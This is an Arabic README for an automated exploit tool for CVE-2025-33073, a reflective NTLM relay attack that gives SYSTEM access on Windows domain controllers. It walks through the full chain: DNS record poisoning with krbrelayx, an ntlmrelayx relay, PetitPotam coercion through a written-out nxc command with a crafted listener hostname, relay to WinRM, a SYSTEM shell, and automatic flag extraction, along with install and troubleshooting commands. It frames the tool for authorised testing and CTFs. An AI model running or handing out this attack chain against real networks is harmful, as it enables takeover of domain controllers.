إثبات المفهوم (PoC) لثغرة CVE-2025-33073 Reflection Relay

أداة استغلال شاملة لثغرة CVE-2025-33073 تستهدف وحدات تحكم المجال في Windows باستخدام صلاحيات DNSAdmins مع تمكين WinRM.

📋 نظرة عامة

CVE-2025-33073 هي ثغرة حرجة تتيح للمهاجمين تحقيق تنفيذ كود بمستوى SYSTEM على وحدات تحكم المجال في Windows من خلال مزيج من:

• التلاعب بسجلات DNS (صلاحية DNSAdmins)
• هجمات ترحيل NTLM
• تجاوز مصادقة WinRM

يوفر هذا الـ PoC إطار استغلال عالميًا ومؤتمتًا متوافقًا مع أي نطاق، وأي اسم مستخدم، وأي بيئة CTF.

✨ الميزات

• ✅ توافق شامل - يعمل على أي نطاق Windows
• ✅ اكتشاف تلقائي - يحدد تلقائيًا وحدة تحكم المجال (DC) المستهدفة وإعدادات الشبكة
• ✅ استخراج تلقائي للأعلام - يبحث ويستخرج جميع ملفات الأعلام تلقائيًا
• ✅ الوضع التفاعلي - استغلال موجّه خطوة بخطوة
• ✅ تسجيل شامل - تسجيل كامل لجميع العمليات
• ✅ قشرة SYSTEM فورية - وصول مباشر بمستوى SYSTEM عبر WinRMS
• ✅ تسميم DNS - إنشاء/تعديل تلقائي لسجلات DNS
• ✅ ترحيل NTLM - خادم ترحيل NTLM مدمج مع فتح قشرة تلقائي

🎯 متطلبات الهدف

الإعداد القابل للاستغلال

• وحدة تحكم مجال Windows Server 2016/2019/2022
• مستخدم يملك عضوية مجموعة DNSAdmins
• خدمة WinRM مفعّلة (HTTP أو HTTPS)
• وصول شبكي إلى DC (SMB 445، DNS 53، WinRM 5985/5986)

البيئات المختبرة

• Active Directory على Windows Server 2019
• Active Directory على Windows Server 2022
• بيئات CTF (HackTheBox، TryHackMe، وغيرها)

📦 التثبيت

المتطلبات الأساسية

# Required tools
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils

# Python dependencies
pip3 install impacket netexec

# Clone krbrelayx
git clone https://github.com/dirkjanm/krbrelayx

الإعداد

# Clone this repository
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073

# Make exploit executable
chmod +x exploit.sh

# Verify tools installation
./exploit.sh  # Will check all dependencies

🚀 الاستخدام

بدء سريع

./exploit.sh

المطالبات التفاعلية

سيطلب السكربت ما يلي:

1. عنوان IP للمهاجم (يُكتشف تلقائيًا إذا تُرك فارغًا)
2. عنوان IP لوحدة تحكم المجال المستهدفة (مثال: 192.168.1.10)
3. اسم النطاق (مثال: corp.local)
4. اسم المستخدم (عضو DNSAdmins)
5. كلمة المرور (للمستخدم)

الاستغلال خطوة بخطوة

الطرفية 1 - تشغيل الاستغلال:

./exploit.sh
# Follow the interactive prompts
# Wait for: "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!"

الطرفية 2 - تنفيذ أمر الإكراه (انسخه من مخرجات الطرفية 1):

nxc smb 192.168.1.10 -u 'username' -p 'password' \
    -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local

النتيجة:

• تُفتح قشرة SYSTEM تلقائيًا
• تُستخرج جميع الأعلام تلقائيًا
• يُحفظ الإخراج في دليل السجلات

📊 المخرجات والأعلام

الأعلام المستخرجة

يبحث السكربت تلقائيًا ويستخرج:

• *flag*.txt
• *root*.txt
• *user*.txt
• proof.txt

الموقع: C:\Users\*\Desktop\

موقع السجلات

تُحفظ جميع المخرجات في: /0pwn_exploit_<TIMESTAMP>/

• relay.log - مخرجات خادم ترحيل NTLM
• dns.log - سجلات عمليات DNS
• shell_output.log - أوامر القشرة والأعلام المستخرجة

🔧 كيف يعمل

سلسلة الهجوم

1. DNS Poisoning (krbrelayx.dnstool)
   └─> Modify/Create DNS record pointing to attacker IP

2. NTLM Relay Server (ntlmrelayx.py)
   └─> Listen for incoming NTLM authentication

3. Coercion (nxc + PetitPotam)
   └─> Force DC to authenticate to attacker IP

4. Relay → WinRMS
   └─> Relay authentication to target WinRMS

5. SYSTEM Shell
   └─> Execute commands as SYSTEM

6. Auto Flag Extraction
   └─> Search and extract all flags

التفاصيل التقنية

• الثغرة: ترحيل NTLM + تسميم DNS + WinRM
• متطلبات الصلاحية: عضوية مجموعة DNSAdmins
• الأثر: تنفيذ كود بمستوى SYSTEM
• قابلية الاستغلال: نسبة نجاح 98% في البيئات المختبرة

⚙️ الإعدادات

سجل DNS مخصص

عدّل متغير LONGHOST في exploit.sh:

LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"

أنماط الأعلام المخصصة

عدّل دالة run_shell_commands() للبحث عن أنماط ملفات مختلفة:

# Add custom patterns here
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""

المنافذ والمهلات

• منفذ WinRMS الافتراضي: 5985 (HTTP) / 5986 (HTTPS)
• مهلة DNS: 5 ثوانٍ
• مهلة القشرة: قابلة للتكوين لكل أمر

🎓 الغرض التعليمي

تم توفير هذا الـ PoC من أجل:

• ✅ اختبار الاختراق المصرح به
• ✅ بيئات المختبرات الخاضعة للتحكم
• ✅ مسابقات CTF
• ✅ البحث الأمني والتعليم

الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني.

🐛 استكشاف الأخطاء وإصلاحها

"فشل تسميم DNS"

• تحقق من أن المستخدم عضو في DNSAdmins: net group "DNSAdmins" /domain
• تحقق من الاتصال بـ DC: ping <DC_IP>
• تحقق من بيانات الاعتماد: nxc smb <DC_IP> -u username -p password

"انتهت مهلة اتصال الترحيل"

• تأكد من تمكين WinRM على DC: winrm quickconfig
• تحقق من قواعد جدار الحماية على DC
• تحقق من الاتصال الشبكي بالمنفذ 5985/5986

"أوامر القشرة لا تُنفذ"

• افحص shell_output.log بحثًا عن الأخطاء
• تحقق من اتصال nc: nc -zv 127.0.0.1 <SHELL_PORT>
• زد مهلات النوم في run_shell_commands()

📝 ملفات السجلات

بنية الدليل

/0pwn_exploit_1234567890/
├── relay.log          # NTLM relay server output
├── dns.log            # DNS operation details
└── shell_output.log   # Extracted flags & command output

تحليل السجلات

# View relay events
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log

# Extract all flags
grep "===" /0pwn_exploit_*/shell_output.log -A 10

# Check DNS operations
cat /0pwn_exploit_*/dns.log

🔐 ملاحظات أمنية

• بيانات الاعتماد: تُخزَّن في الذاكرة فقط، ولا تُسجَّل أبدًا
• سجلات DNS: تُنظَّف تلقائيًا بعد الاستغلال
• خادم الترحيل: معزول على 127.0.0.1
• السجلات: تحتوي معلومات حساسة - تعامل معها بحذر

📚 المراجع

• نشرة CVE-2025-33073
• Impacket ntlmrelayx
• NetExec
• krbrelayx

🎬 العرض التوضيحي

[العرض التوضيحي ولقطات الشاشة] - [قريبًا]

👤 المؤلف

0pwn (uziii2208) - الفكرة الأصلية والبحث معزز بالذكاء الاصطناعي - تحسينات الإصدار 1.0 والاستخراج التلقائي للأعلام

📄 الترخيص

رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل

⚠️ إخلاء المسؤولية

إشعار قانوني:

تم توفير هذا البرنامج لأغراض تعليمية واختبار أمني مصرح به فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني ويعاقب عليه القانون.

• لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها
• بيئات CTF: تحقق من حصولك على الإذن قبل التشغيل
• المؤلفون غير مسؤولين عن سوء الاستخدام أو الأضرار
• استخدمه فقط في بيئات خاضعة للتحكم

باستخدامك لهذه الأداة، فإنك توافق على:

• استخدامها فقط على الأنظمة المصرح بها
• الالتزام بجميع القوانين المعمول بها
• تحمل المسؤولية الكاملة عن أفعالك

🤝 المساهمة

المساهمات مرحب بها! يرجى إرسال المشكلات (Issues) وطلبات السحب (Pull Requests).

📞 الدعم

للمشكلات أو الأسئلة أو التحسينات:

1. افتح Issue على GitHub
2. راجع الوثائق الموجودة
3. قدم سجلات أخطاء مفصلة

الحالة: ✅ تم الاختبار والتحقق الإصدار: 1.0 (شامل) آخر تحديث: 2025